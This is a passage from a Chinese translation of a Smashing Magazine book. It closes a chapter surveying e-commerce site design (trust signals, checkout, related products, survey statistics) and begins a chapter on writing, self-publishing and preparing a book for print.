它还有利于提出低风险的业务建议，因为无论高兴与否，大多数人都从未利用过退货政策。提供担保实在是明摆着的事情。事实上，只有那些销售不予退货的产品（如食物和酒）的网站才没有提供担保。几乎所有其他的网站都具有退货政策，并且都提供担保。

知道其他用户对他们的购物经历感到高兴有助于许多购物者消除他们的疑虑。人们并不总是确信一件产品是否合用或者是否值得花钱，抑或是否将令人愉快。充分了解其他购买了相同产品的人的愉快购物体验有助于这一点。

炫耀用户购物体验的一种方式是通过产品评级和评论。65％的网站具有针对它们的产品的评级系统和评论系统。1/3的网站两者都未提供，有的网站只有评级而没有评论。
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用户一般使用评级多于使用评论，这很可能是由于只需较少的工作即可浏览它们。在评论确实存在的网站中，它们提供的信息比商家提供的信息要多得多，并且被认为更值得信任，因为评论者没有给出有利评论的动机。

令人感到诧异的是，只有刚刚过半的网站（51％）显示了它们能够接受的信用卡的图标。我们期望所有或者几乎所有的网站都显示它们。
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Shoes.com在付款Web表单中使用信用卡图标。

参见http://www.shoes.com

在这样做的网站中，绝大多数都在用户填写他们的开账单信息的地方显示它们。我们还在脚注中、购物车区域中和登录页面上看到了信用卡图标。有几个网站把它们放在多个位置上。
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Tiger Direct网站在其结账流程中同时显示了信用卡图标和常见的付款方法

（如PayPal）：http://www.tigerdirect.com

把这些图标放在开账单地址区域旁边最有意义，因为你最有可能在这里想知道可以使用信用卡。尽管如此，在每个页面上都包括它们是非常好的举措，尤其是当你渴望产生信任时。

与信用卡图标一样，我们对如此少的网站显示某种安全印章（如VeriSign图标）感到诧异。65％的网站显示了某种印章，但是我们期望看到更多的网站这样做。毕竟，显示一个印章没有什么不利的方面。

总而言之，大多数网站都依赖于退货条件或担保。这是获得信任的最有效的方式之一，但是我们喜欢看到更多的网站利用一些其他的方法。信用卡图标和信任印章是明显的方法，而评级和评论也应当是理所当然的选择。
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Ridefourever.com在产品页面上显示了相关的推荐产品

9.7.6　其他发现

在我们的发现中，以下几点比较引人注目。

●　在大多数网站（77％）上都以某种方式显著展示了相关的产品。它们通常出现在产品页面上的一些标题下面，比如“Related Item（相关项目）”、“Customers who bought this also bought x（购买了它的客户还购买了x）”和“We also recommend（我们还建议）”，尽管有时直到购物车区域它们才出现。

●　79％的网站为访客提交他们的电子邮件地址提供了某种动机。除了发布信息之外，一些网站还通过电子邮件提供优惠券，并且许多网站通过短信提供联系方式。

●　95％的网站可以让用户注册一个账户。并且如我们所看到的，35％的网站要求用户在购物前注册一个账户。

●　指向“My account（我的账户）”的链接几乎普遍位于右上方，靠近购物车链接，这正是你所期望的位置。

●　68％的网站允许用户维护愿望清单或收藏夹。把愿望清单隐藏在会员墙后面是明智的，因为这样的话那些希望与朋友和家人共享它们的用户将具有成为会员的动机。它们给用户提供了一种方式来延迟购物，以及轻松地返回到他们感兴趣的产品上。网站反过来又会增加销量，因为那些用户成为了回头客。

●　65％的网站具有“Tell a friend（告诉朋友）”或者类似用语的链接，允许访客把他们大体了解的产品或网站通过电子邮件发送给他们认识的人。

●　44％的网站维护了一份接纳会员计划。指向接纳会员计划的大多数链接非常容易找到（如果你在寻找它们的话），它们通常位于脚注中的某个位置，但是漫不经心的访客几乎不可能看到它们。

●　总体来讲，非常多的网站采用多种技术来完成销售、建立稳定的业务关系以及利用客户发挥市场营销人员的作用。但是有相当多的网站没有这样做，而错失了一些发展的机会。


 9.8　小结

如我们所期望的，这项调查对于如何设计电子商务网站没有达成一致意见。不过，确实出现了许多模式。

这项调查中的典型网站具有两列式居中布局，它具有固定的宽度，设计用于1024×768像素的屏幕分辨率。大多数网站（68％）跨四列显示产品，尽管单列式布局也很常见。如果合理，将在单个页面上显示某个类别中的所有产品；否则，将在多个页面上列出产品，并且提供了一些选项来控制显示产品的数量。

大多数电子商务网站都具有8～13个主要的产品类别（58％），并且具有4～5层深的结构（70％）。水平导航和垂直导航都很常见，当二者都存在时，常规链接通常更多地出现在水平导航中，而产品类别通常列出在垂直导航中。

下拉菜单和弹出式菜单（尤其是那些大型的变体）通常用于在主导航系统内显示子类别。选项卡可用于显示与特定产品相关的内容。

分面搜索（faceted search）或过滤搜索是对普通搜索的常见增强方式。“面包屑”标识的路径记录也很常见（使用在74％的网站上），并且利用大于号字符（＞）作为最常见的分隔链接的方式。网站通常使用用于请求动作的高亮颜色以及其他值得注意的元素，并且把背景保持为中性。按钮的用语非常传统：“Check out”和“Add to…”（cart、bag或basket）。

SSL是必须提供的（100％的网站），并且一般会在必须使用前启动一两个页面，尽管许多网站可以使得SSL的使用更明显。大多数网站（67％）保持结账流程最多四个页面，（或者单个页面上的四个区域），并且大多数网站（87％）都会提前显示流程的长度。网站所有者可以决定是否要求人们注册一个账户或者提供一个电子邮件地址以开始流程。当实时进行表单验证并且当错误和修正错误的方式清楚易懂时，表单验证工作得最好。

网站利用免费送货（46％）、担保（87％）以及评级和评论（65％）鼓励用户购物。它们利用信用卡图标（51％）和信任印章（65％）来产生信任。它们通过指向相关产品（77％）、愿望清单（68％）、新闻简报（79％）和会员账户（95％）的链接鼓励额外的购物，并且它们还利用告诉朋友的链接（65％）和接纳会员计划（44％）鼓励用户为他们做宣传。

编者注：可以从http://www.smashinglinks.com/zip/e-commerce-study-data.zip
 下载站点的列表以及完整的调查电子数据表（用于Excel和Numbers）。

9.8.1　个人体验和观察

我意欲使用这最后一点内容一般性地（而不仅限于这项调查）谈谈我自己对电子商务网站的体验。我在过去十年左右的时间一直在进行在线购物，并且我一般不会对大多数网站留下印象，尽管体验改进了。

我对在线购物一直都怀有少许严重的忧虑，大部分与信任显著相关。在网站上，我们不能把产品拿在手上，并且当我们不确信哪个产品合适时一般没有容易的方式来询问问题。

几乎任何人都可以在网站上提供一个表单，用于收集信用卡及其他敏感信息。

在像Walmart这样的重要品牌的网站上购物没有什么多大的问题，因为我们已经身处它们的商店内，并且知道如果我们购买的物品出现问题，那么我们可以轻松地与那里真实的人交涉。

我们中的大多数人会这样做吗？可能不会，但是我们知道我们能够这样做。我们还知道Walmart不会明天就关门；但是我们不确信johnsmith.com这个网站会不会这样做。

如果网站希望我交出我的信用卡，它就必须赢得信任。我非常确信那儿有另一个网站以类似的价格提供相同的物品，并且很容易找到它。如果网站所有者希望我从他们那里购物，那么他们应该考虑我可能不这样做的所有原因，考虑我可能具有的所有拒绝的理由，然后尽其所能消除它们。

我经历过许多次在线购物，但是我倾向于频繁地光顾少数几家相同的商店。我从Amazon购买了足够多的物品，感觉到从它那里购物很舒适。我还购买了相当多的软件，并且大多数软件分发商都可以让我在做决定之前试用产品几个星期。我购物的网站都设法以某种方式获得我的信任。

构建电子商务型的企业并不容易。当然，任何人都可以使用一些软件以极低的成本和极少的时间建立一个网站，但是使人们访问和购物则要做艰苦的工作。如果你希望人们购物，就需要帮助他们找到他们想要的物品，并且一旦他们找到了它，就要使购买它尽可能容易。一旦他们购买了它，你就需要尽你所能使他们成为你的回头客。

当你花时间在网站上购物时，要问你自己一些我们在这项调查中问过的问题，并且看看你购物的网站有多成功地处理了它们。思考一下你为什么从一个网站而不是从另一个网站购物。分析一下电子商务网站怎样才能或者不能使你的购物体验是有益的并且令人愉快。

通过回答其中许多问题，你将能够为你自己和你的用户构建更成功的电子商务网站。

9.8.2　关于作者

“总是要对你自己和你的企业进行再投资，不要害怕尝试沿着另一个方向前进。”

Steven Bradley（生于1965年）出生在纽约市布鲁克林区，拥有纽约州立大学学制的历史和土木工程学士学位。Steven居住在悠闲、高科技和充满活力的科罗拉多州博尔德市，并且自学了搜索引擎优化和市场营销方面的知识。通过洛矶山脉（最喜爱的颜色：土色），他创建了搜索引擎友好的网站，它们也可以被真实的人使用。Steven把空闲时间花在运动、艺术和文学上。Steven的座右铭是“不忙着求生，就等于急着去死”；他给读者的忠告是：永远不要停止学习。不管你现在身处何处，总是可以变得更好。不要急匆匆地奔向终点线。成功就是做出始终如一的增量式改进。



————————————————————


(1)
  参见http://www.smileycat.com/miaow/archives/002015.php。


(2)
  参见http://www.useit.com/alertbox/20020512.html。


第10章　如何制作图书（就像这本书一样）


作者：Smashing杂志团队
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 图书出版简介

第一次把你自己的图书握在手中是一种真正非凡的经历。你突然意识到你给予了自己思想——在头脑中构思某种抽象状态——某种形状、物理现实，并且使它们是真实、可见和持久的。这种感觉是不可抗拒的：它会使你充满自豪感，就像画家赞赏他们的作品一样。这种感觉与那些几个世纪以来参与图书制造的人的感觉并无二致，然而以往的经历从未像现在这样经济实惠和容易理解。

如果你有足够的动机走上这条路并且获得成功，那么你将建立强大的声誉，丰富你的社会资本，并使你变成所处的小环境中的权威。制作图书不必是具有重要时间承诺的重大工作。它可以是小型的非正式项目，把你的头脑带离常规的惯例，并在新的创造性的方向上驱动你前进，它可以是艺术、写作、摄影或者其他方面。你的图书表现了你的独特个性，是使你直面新的挑战并且探索你的创意、技能和思想的工具。如果你不仅编写图书内容还独立出版图书，则将在出版图书的过程中获得宝贵的亲身体验，它将在你的职业生涯中带来额外的好处。

图书出版是一项涉及数十亿美元的业务。如果你确信自己有话要说并且愿意大声地说它，为什么不给它一个机会并作为副业构建可以给你带来一些经济报酬的持续性业务（ongoing business）呢？我们能够这样做，因此你也能，而无论你是作家、博客作者、设计师，还是网站所有者。如果你在线发表了一些有益的文章，你就已经是所处的小环境中的专家了；你可以使用这些文章作为图书的基础，并为你的工作获得一些经济补偿。
(1)



事实是每个人气博客都是潜在的销售机器——或者至少是潜在的稳定收入的来源。开动这台机器的关键是通过你的网站给读者提供你的艰苦工作的有价值的副产品。利用一点工作和耐心，你就可以在网站上添加一个商店，只要网站存在，你就可以每天在此销售图书，而无需你积极参与。

也不要为“销售”你的知识感到羞愧。高质量的作品需要时间、努力和技能。并且如果你的产品对读者有价值，那么要求经济补偿是公平的。我们应该尊重我们自己的工作，就像我们尊重其他人的工作一样。通过提供良好包装的产品，你给读者提供了一个机会对你的艰苦工作表示感谢，从而提供有价值的回报。每笔销售都会强化你的动机，从而为将来维持和丰富你的网站。

只要你对自己所做的事情充满热情并真诚对待它，读者将尊重你的工作，并且会显示出他们对你的勤勉工作的感激，无论是通过反复访问你的网站、传播关于你的作品内容的话语，还是通过购买你的产品。

在投入图书项目中之前，确保你具有最重要的资产：时间。出版图书不会在一夜之间完成；你需要具有足够的耐心并且训练有素，腾出时间来平静、高效、专注地写作。你不需要通过设定人为的最后期限或者预留规定的写作时间把自己置于压力之下。相反，可以定义图书的范围；勾划出章节；创建思想的心智图或者素描板；执行充分的研究；学习相关的文章和图书；了解最新的发展和技术；对你自己和你的思想提出要求；以及反复修改图书的理念，直至你感觉已经具有用于长期项目的稳定基础为止。

最重要的是，不要急躁冒进。要花所需的大量时间，并要保持动力。如果在某个时刻你获得了非常棒的想法，就要立即开始实施它。一旦你几小时后关闭文档并且注意到电视上闪烁的“Pause（暂停）”指示信号，就会感到你有多高效。

找出版社出版图书

出版图书的最直观（然而非常不可能）的方式是：想出一个非常棒的想法，并把它卖给感兴趣的出版社。大型出版社在坚持不懈地寻找才华横溢的作家，如果你开设了一个人气博客，就可能有出版社已经找上门来联系你了。如果不是这样，你可以一直尝试抓住它们的注意力。不过，在进行合同谈判时，这通常会让你更被动。

出版社通常会给销售的每一本图书提供版税，平均是图书价格的10％左右，每6个月支付一次。这听起来不是太糟糕，但是出版社通常会严格地控制图书中应该精确地包含什么内容，更直白地讲，是不应该包含什么内容。除非你带来确实出色的手稿，否则通常需要修改或者详细说明所编写的内容，甚至从头开始重新编写图书。写作过程可能要花几个月或几年的时间，并且如果你没有专业经验，可能最终要夜以继日地设法满足最后期限，修改一些章节，并研究一些在你看来不是特别适合图书（但是显然在市场上非常热门）的主题。

与出版社合作，便可以与出版社的编辑亲密协作；编辑通常是（但不一定）审阅你的作品并且跟踪你的进度的专业出版人员。在写作阶段，你将极大地受益于他们的一些见解，包括你的写作语言和结构、为印刷准备内容的细目（例如图像、旁注、脚注和索引），当然还有主题本身。编辑通常会与你讨论你对图书设定的目标，并且会建议一些改进措施。你还会获得写作模板和样式指南，这可以帮助你阻止错误神不知鬼不觉地溜到生产阶段。当然，你也可以考虑联系你自己的同事和朋友，并且以一种创造性的协作精神，如通过一两瓶啤酒邀请他们审阅你的作品并提供反馈。
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模切机（Heidelberger Druckmaschinen AG惠赠）

这样就涉及信任问题。出版社经常利用作者缺少经验来谋利。作为作者，你通常无法监视销售的副本数量——更少知道多少个副本是以全价销售的以及多少个副本是以折扣价格销售的（折扣很常见并且可能高达70％，这将显著削减你的收入）。你只能依赖于出版社提供的报告，这可能不会完全打消你的疑虑，尤其是当你没有与工作人员之间形成一种互相信任的友好关系时。

此外，你与出版社签订的合同通常会要求你授予它们与内容、图像、翻译以及其他媒体中的转载相关的所有权利，其他媒体包括视频、电子书、杂志、新闻简报、促销材料或广告活动等。你的授权协议甚至可能要求你删除你的一些博客内容，许多作者会对做出这样的牺牲感到不舒服。

在某些方面，靠你自己出版图书要方便得多，并且具有经济上的吸引力——不过风险更大。你将需要投入自己的资源来制作图书，在这整个过程中你将需要学习相当多的知识。但是你将能够完全控制图书的内容和外观。

在德国，我们出版的《The Smashing Book 1》已经销售了超过25000册——没有得到批发商、书店或Amazon的帮助并且没有出版社参与。对于我们的在线杂志，已经有了非常多的受众，而传统的出版社在出版杂志时经常会很麻烦。你甚至可以通过少量发行来建立声誉和联系。有时，你所需要的只是简短的电子书，尤其是当下平板电脑日益普及。

下面列出了独立出版图书的一些优点和缺点。

优点：

●　能够完全控制图书的内容、设计、版面和印刷质量。

●　可以获得100％的利润。

●　自己决定图书的价格、运费和交货期限。

●　可以自由地与撰稿人协商版税，无论是采用定额付款、基于百分比的付款，还是采用任何其他的模型。

缺点：

●　要承担出版的全部经济风险。

●　与跟出版社合作相比，将需要投入更多的时间和精力来制作图书。

●　将需要处理无穷无尽的细节：校对、图像质量、纸张质量和厚度、装订、包装、送货、存储、交货、客户支持等。经验的缺乏经常会导致错误。

●　可以需要开发特殊的市场营销战略以弥补生产和送货费用（例如通过吸引赞助商）。

把你的想法抛给出版社

如果你的写作样本证明了你的专业知识，那么你就可以相当自信地认为至少会有几家出版社将会来与你联系。出版社实际上喜欢那些具有扎实的写作技能的专家找上门来，因此如果你比较自信，可以试试把你的想法抛给它们并看看后面的情况。

提出一个发人深省的理念和无懈可击的草案，包括你认为适合图书的主题和章节。确定并描述目标受众、图书的范围及其超过同类图书的优点。要引人注目并且有说服力：展示你以前的作品和技能，并清楚表明你的经验和技能是相关的、有吸引力的和专业的图书的完美基础。此外，还要提及你在业界中的声誉以及你对专业知识领域的激情。不要在言过其实和夸大其词中迷失自己：要保持真实和简洁，并且结合使用令人信服的论点和支持的证据。不要进行过度的分析，也不要过于简化：展示你的思想，并且很好地展示它。

记住，出版社不会接受每个有前途的项目，因为新图书必须适应它们的发行时间表。例如，如果出版社已经在针对春季的产品阵容中具有一本关于HTML5的图书，那么它可能不会接受第二本关于它的图书，因为它将利用第一本图书参与竞争。你必须有耐心并且要坚持不懈。一家出版社拒绝或者没有答复并不意味着你的作品不够好。

认真鉴别哪家出版社适合你的图书的内容简介，并且检查它们在你的小环境中有多积极。利用你的社会关系，并请求你的朋友和同事帮助联系他们在出版业中的熟人。你所做的认真周到的准备工作现在应该开始获得回报了。

给你选择的所有出版社发送你的想法、草案和支持样章，并做好等待的准备。如果想法是有前途的，你的写作技能比较可靠并且市场上没有太多类似的图书，那么你被选中的机会就比你可能想的要高一些。凭借许多耐心和一点运气，你可能联系到其中一家出版社里的某个人，他认可你的作品的潜力以及与你合作可能带来的经济上的好处。

内容无处不在

项目的最至关重要的部分是提供恰当的内容：高质量的内容是每个成功出版物的核心。但是你不必从头开始编写整本书。如果你已经开博客一段时间或者在博客或杂志上写过几篇特邀文章，就可以使用它们或者它们的一部分来开始项目。
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 你还可以使用你的读者的评论和建议来改进你的材料。

也要使你的同事、好友和微博粉丝参与进来，可以要求他们提供一些想法来充实图书中的章节。当然，你将需要清楚地说明你打算在图书中多么精确地使用他们的想法，以及你将以何种方式感谢他们。不要低估了团体的精神：如果你的读者理解你的目标是制作一本高质量的、研究透彻的图书，那么他们可能很高兴地帮助你。前言中对他们的短评通常足以表示感谢。

考虑你的网站的哪些访客将希望阅读你的图书以及为什么他们会这样做。如果你不知道实情，可以问问他们。你不必把自己的计划作为秘密：可以自由地解释你的动机、目标、理念和资源。

一旦定义了图书的范围，就可以整合你的新发现并修改想法，然后把它们全都结合进图书中粗略叙述的章节中。在某个时刻，你可能注意到必须详细说明某些位置，以便圆满完成图书。你可以像博客中的贴子一样测试这些想法，或者把它们作为仅仅你这一本图书中的章节。你也可以要求读者提供一些章节（当然要遵守你的要求），并在所有撰稿人当中分享收入。你甚至可以走得更远，在生产过程中使博客的读者参与进来，恳求他们提供关于版面设计、印刷、包装和送货的新主意。

你关于所有这些事情的决策将依赖于你迄今为止取得的进展以及你认为可以在多大程度上依靠你的团体，其中后者又将依赖于许多因素，包括你的读者群的规模、你的社会关系的实力、你愿意投入的时间和资源以及你能够在多大程度上激励你的受众。

我们的前两本电子书包含一些已经出现在Smashing Magazine上的文章。我们分析了哪些文章将能很好地组织在一起形成图书，然后我们修改并更新了它们。由于Smashing Magazine上的所有文章都会在出版前进行校对，因此只需复制已出版的部分并校对更新的部分即可。我们还就第二次使用作者的文章商讨了利益分配问题；每位作者都收到了版税。为了使电子书更详尽，我们授权它们使用几篇独有的文章。最后，我们利用充满活力的封面设计和自定义的插图使图书具有吸引力。

底线是使内容根本不会构成一项重大的挑战。制作高质量图书而不是普通图书的诀窍是组合相关的章节，并过滤掉多余的内容。内容就在那里、在你的文章中和你的头脑中，并且出自那里，作为来自你的读者和同事的主意和建议漂浮着。它只涉及询问撰稿人适当的问题，选择适当的答案，然后在你的密切注意和专业经验下构造图书。

你不必单独编写它

如果你已经具有一些稳定的零零碎碎的内容可以作为基础，那么写书就是一个切实可行的目标。但是，如果你在过去几年没有写出太多的内容，那么写书可能似乎是一项令人太恐惧的任务，它需要太多的时间、工作、资金——以及所有的一切。好消息是你不必靠你自己做所有的事情。

如果图书的技术性非常强，那么你需要知道你可以在内容过时前完成图书。但是你怎样保证所有的论据都很直观并且代码段都无懈可击呢？你确信没有遗漏重要的内容吗？此时，技术审校人员就非常重要了。

寻找一个合作者，他可以从一种全新的视角评估你的作品，并且提供建设性的、没有偏见的批评。不过，找到一个适当的人不容易。找到某个知识渊博得足以检查你的论据的人还不够；审核人员应该充满激情，愿意在项目中投入大量的时间和精力。最有价值的反馈通常来自于那些不会害羞地挑战你的观点的人。刺耳的批评比默许要好得多，因此要鼓励审校人员尽可能地提出批评意见。

最明显的方法可能是准备优美的样章，从尽可能多的专业人士那里收集反馈，然后基于他们的建议完成章节内容。不过，根据我们的经验，更好的方法是询问专家的意见，基于他们的建议修改章节内容，然后把修改过的章节给其他专家审阅。你将一直重复这个过程，直到专家的建议要么是微不足道的，要么不再属于本书的范围。

这种方法之所以更好这是因为，无限制地添加更多的想法会打乱章节脆弱的结构和流程。论据应该支持想法，想法则应该使论据能够发挥威力，二者协作给受众提供关键的消息。随意增加内容将会毁灭掉创作、放弃目标以及弱化你的想法。技术审校的过程有助于避免这种问题。

热心的审核人员将帮助你提升图书质量，但是你通常将需要比这更多的支持。如果你在写作或研究方面进展有点慢，与合著者分担工作可能比较好，尤其是当你们各自的专业知识领域能够很好地相互弥补时。但是，除非你非常了解那个人，否则学会折中并寻找共同的参考框架可能需要一些技巧。

把你们两个人投入在项目中的工作单独出版成两本高质量的图书可能是最好的；作为替代，这种合作有时会导致单独一本读起来像没有共同基础的图书——既不和谐也没有用，并且到处都充斥着由于考虑不周而出现的自相矛盾的内容。

但是，如果你执意选择一位合著者，那么不必所有时间都在一起写作。你可以把图书拆分成两个独特的部分（例如，“视觉设计”和“编码”，或者“编码”和“市场营销”），然后邀请第三方评审员阅读所有的内容，并指出自相矛盾和不一致的地方。此外，你也可以把图书作为许多作者当中的一个合作项目来进行制作，其中每个作者都撰写与他们的专业知识领域相关的章节——与我们制作你此时正在阅读的这本图书非常相似。

与合著者交流

寻找合著者可能很简单，也可能令人畏缩不前，这依赖于你的社会关系的实力。最方便的方法将是简单地要求你的朋友和同事撰写一些章节。良好的写作需要一大段好时光；优秀的写作则需要非常宽松的期限，因此至少要在最后期限前5～8个月联系作者。及早通知可以给他们提供一个机会，使他们能够严肃认真地答应负责项目，以及留出足够的时间用于研究和写作。

作者知道最后期限越早，他们在头脑中规划思想以及在作品中吸收在线阅读的知识的时间就越多，从而可以在他们编写的章节中纳入最新的技术和信息。严肃、专业地交流你的期望。在某些情况下，你将希望为合著者准备合同，以确保他们会严肃地接受最后期限，并且将其作为对他们和出版社的保证。合同不必很长或者用法律术语书写。只需包括他们编写的章节的标题、长度和格式、经济补偿以及最后期限或里程碑。

你还可能希望包括关于图像的质量和格式的规范、关于版权的信息以及用以保护你自己以防章节不符合标准的条款。合同的签名副本和预付款将使得项目对于作者似乎是可信的，并且可以确保平顺、高效的工作流程。

不要忘记及早给合著者提供模板和样式指南，以及关于如何使用它们的简短的文档。要具体说明章节必需的结构和格式。章节标题的最大长度应该是什么？该章可以包含多少幅图像以支持文本？允许作者加粗关键词吗？此外，像图像文字说明、表格和脚注这样经常被忘记的元素又该怎样处理？你的模板至少应该定义以下元素：

●　书名；

●　标题（一级、二级和三级标题等）；

●　正文；

●　强调（加粗或倾斜）；

●　文字说明；

●　表格；

●　列表；

●　引文；

●　侧栏（如果适用的话）；

●　脚注；

●　图像和截屏图（参见下一节内容）；

●　拼写样式、语调和语言（如果适用的话）；

●　目录（内部使用）；

●　索引（内部使用）。

当然，参与项目的人越多，所需的交流就越多，造成误解和错过最后期限的风险就越高。如果你与十多位撰稿人合作，那么你将需要一个用于质量控制和进度跟踪的稳定系统。不过，高级项目管理工具将使流程过于复杂。两张电子表格就足够了，一张用于内部使用，另一张用于其他作者。在内部电子表格上，可以跟踪技术审校、校对、版面设计、印刷、订单履行和市场营销的最后期限。也可以添加其他有用的信息，比如参与的每一个人（作者、版面设计师、校对者、印刷厂等）的联系数据。

用于作者的电子表格将包含章节的当前状态和最后期限。你可以给所有作者都授予编辑特权，以便当章节状态改变时（例如，当提交了新的草稿或者审阅了某一章时），他们可以修改电子表格。对于这本书，我们使用了简单的Google Spreadsheet来跟踪我们的作者的进度，并且用不同颜色标记单元格，以突出显示流程的不同阶段。在作者提交了他们的草稿之后，你也可以使用电子表格来交流章节的状态（例如，让他们知道是否对它进行了校对或排版）——在章节内容付印前，一些作者希望再看看最后一眼，以确保编辑和版面设计师没有犯任何错误。

有意义的、快速的反馈对于满足最后期限和确保图书的质量至关重要。不要仓促地批准草稿。要定期改进你的初始理念和各章草稿，并为一些突发情况做好准备。要么把草稿发送给技术评审员，要么你自己花时间仔细地审阅它们。
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我们的Smashing Book 2项目的电子表格包含合著者的简介、章节的状态、完成的总页数以及关于图像质量的详细信息

对于Smashing Book 2这本书，我们在每一章的每份草稿上花了3～4小时仔细阅读草稿，复查事实根据和建议的改进。我们还做了一些研究，以便给我们的作者提供更深远的想法，从而使章节内容更丰富且更全面、实用和有用。

总而言之，与作者交流以及审校过程都要花许多时间，因此要确保你能够管理他们，没有哪些章节卡在修改队列中。对于各章的最终草稿则尤其如此，它们通常只是在最后期限前几天提交的。清除最后期限前3天和后5天的日程安排。

为最终的草稿准备一份检查表。所有的图像都满足要求吗？图像文字说明如何？每处引用都具有参考来源吗？作者自己是否具有他们编写的章节中的所有图像的版权？你在过去几个月审阅得越仔细、越彻底，那么现在必须做的工作就越少。一旦流程的这个部分完成了，就将会很宽慰：最困难的部分完成了。现在应该编辑图书并使之做好印刷的准备。

使图书为印刷做准备

在很大程度上，Web是一种比印刷宽容得多的媒介。虽然在线内容很灵活并且可编辑，但它在纸张上却是刚性的和绝对的。印刷图书中的写作的语调比网站上的更柔和、更正式。用户行为模式也完全不同。因此，在准备和编辑内容时始终把媒介和最终用户牢记在心是很重要的。

例如，如果你把读者指引到网站以获取更多信息或者引用文章，你可能不希望在正文内容中包括参考资料。虽然Web内容中的链接是有帮助的，因为大多数用户都倾向于从一个页面浏览到下一个页面，但是图书中较长的URL将会中断阅读的流畅性，并且造成的干扰多过帮助。因此，把网站和文章参考放在脚注或附录中可能是有用的，一旦读者在正文内容中到达了自然停顿的位置或者已经阅读完了图书并准备了解更多的信息，那么在这里可以轻松地找到它们。

编辑和校对

由于你已经复查了所有的章节，内容应该就是有序的。不过，每一章的格式、语言和结构可能与图书的原始想法不符。现在应该遍历全书，把每一章相互进行比较，并且分析你是否实际地获得了所计划的内容。

由于合著者都是通过相同的模板工作的，因此可以在你的屏幕上打开两三章，并且看看它们是否很好地结合在一起。同样，还要寻找不一致的地方、重复的内容和不合适的语言。各章不需要具有完全相同的声音和样式，但是某一章不应该与其他章的风格相差太远，否则就会破坏图书的流畅性。

要对内容不留情面：根据需要加长或缩短章节内容，删除多余的示例，检查事实根据，不止一次地验证引用的内容以及图像和表格文字说明。把参考从正文中移到脚注、旁注和尾注中去。考虑给书中引用的所有网站追加一个标识符，然后提供一个Web页面，它带有指向它们的所有链接。

不要忘记给你使用的任何图像和表格添加文字说明。如果你自己将不会嵌入图像文件，那么就要通过在图像应该出现的地方指定文件名，为将负责放置图像的人包括进精确的参考，如下所示：

（（app-usability-10.tif））
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如果你的图书篇幅不太长，就可以把所有各章结合进单个文件中。这将使得更容易连续地对书页和脚注编号，以及创建自动的目录和索引。或者，如果你更喜欢把各章保存为单独的文件，就可以从给定的位置开始书页编号，这在Word和OpenOffice中是可能的。Adobe InDesign通过创建一个图书文件，允许版式设计人员相当容易地跟踪和更新所有的页码、脚注和尾注，甚至对于单独的各章文件也是如此。

一旦编辑了各章内容，就可以把它们发送给校对者，并耐心等待对各章内容的编校。与此同时，你可以开始考虑版式设计。

版式设计

图书的版式设计不仅仅是关于图像和字体的。版式设计的目的是指导读者前进到下一段、下一章或下一节，而不会中断内容的流畅性，并且防止页面看上去令人感到窒息（在长长的、连续的文本段落上通常会发生这种情况）。

可以利用图像、标题、次级标题和引文以及通过留意更普通的元素，比如文本的字距调整（kerning）和文字间距（tracking）、单词的连字符以及寡行（widow）和孤行（orphan），来处理这个问题。你可能认为没有人将会注意这些细节，但是如果处理不当，它们将中断大多数读者的阅读流畅性，即使读者没有意识到原因所在。

专业的版式设计程序（如InDesign和QuarkXPress）允许设计师控制排版、图像、字体等的更细微的细节。如果你追求的是完美无瑕的外观（并且在许多情况下，你应该这么做——例如，读者将期望一本关于网站上的视觉吸引力或者关于现代艺术的图书本身看起来就引人注目并且丰富多彩），那么你可能不应该满足于普通的字处理应用程序所提供的有限的格式化选项。

如果你只有很少的图像和插图，并且如果亮丽的外观不是优先考虑的事情（并且你确信受众将不会被文字太多的图书所吓倒），那么像Microsoft Word或者OpenOffice这样的字处理应用程序可能就足够了。

在编排图书的样式时要知道这些程序的局限性。例如，如果把一个Word文件提交给印刷机，就要检查印刷机是否安装了适当的字体，或者连同文件一起提供字体（如果允许你这样做的话）。否则，你的大多数格式化效果将会丢失。

检查印刷机以查看它们能够接受哪些文件格式是准备版式设计的第一步。现在，大多数印刷机（甚至图书出版业中的那些印刷机）都更喜欢把PDF用于最终的输出。其原因很简单：PDF文件是封闭的文件——所见即所得。你不必担心包括字体和图像，因为在把文件导出为PDF时将自动嵌入它们。
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可以把图书从字处理应用程序中导出到PDF，但是同样，专业的版式设计程序允许进行更多的控制。InDesign具有许多为图书设计量身定制的特性：可以从文件菜单中创建新的图书（与文档相对），然后作为单独的文件访问各章内容。InDesign可以自动跟踪脚注、旁注、页码、锚定到特定文本段落的图像、嵌入的Word文件等，这可以使你从单独处理章节内容中解脱出来，甚至可以与其他人协作并且访问他们的更新过的文件，而不必手动更改任何内容。

你还可能为单独的章乃至小节设置不同的版面，以及插入其他应用程序中的文本、图形和表格，它们还会在整本书中保持最新。一旦初始设置完成，就能够创建母版页以及字符和段落样式，从而使得可以快速、容易地完成可视化样式编排的过程。

如果你根本不熟悉这些应用程序，但是想要一个亮丽、专业的外观，那么最好的办法是找到一位设计师或版式设计艺术家与你一起或者靠他们自己设计图书的版面。一些印刷厂也提供了这种服务。要精通应用程序并不简单，除非你有使用类似程序的经验，否则聘请专业人士完成工作要快得多，也要容易得多，可以与他们就样式达成一致意见，然后观察所发生的转变，并从中学习。

如果你使用的是字处理程序，那么就要记住复查基本的方面，比如用于所有标题和次级标题的一致的样式和颜色，以及各章的处理方式和页码。

图像格式、分辨率和颜色模式

在开始处理文档的版面之前，确保所有的图像都适合于印刷。印刷与Web之间的区别非常大，因此在版式设计应用程序中设置内容之前，总是要检查、编辑和准备数字内容，尤其是图像的截屏图。

专业印刷要求高分辨率的图像（300 PPI）
(5)

 和CMYK颜色模式。这意味着你将不得不把RGB颜色模式中的所有图像转换成CMYK，并且如果它们中的任何图像分辨率低于300 PPI，那么将不得不重新截图或者完全替换它们。像Adobe Photoshop这样的图片编辑软件允许你轻松地更改图像的颜色模式和分辨率，但是要小心：从非常低的分辨率重新取样到高达300 PPI的分辨率将导致图像中出现颗粒。为了避免这一点，要确保所有的图像都具有足够高的分辨率。

为你可能在图书中使用的所有不同的图像类型（图片、自定义的插图、扫描的图像、截屏图）设置标准，尤其是当你与多位合著者共事时。为所有的图像确定最小的尺寸，以英寸或厘米为单位（在300 PPI分辨率下）。

截屏图尤其可能需要额外注意。如果你与合著者共事，要记住他们中的每个人都将使用不同的浏览器、屏幕分辨率、操作系统和图像捕捉工具。为了防止所有的截屏图看上去差别太大，需要给所有的撰稿人提供一个模板和要求列表。

建议合著者在获取截屏图之前根据需要放大Web页面，使得图像在印刷时将足够大。通知他们截屏图要求具有所需的质量和浏览器窗口的大小（大约1000像素的宽度就适合于本书）。
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彩色印刷机（Heidelberger Druckmaschinen AG惠赠）

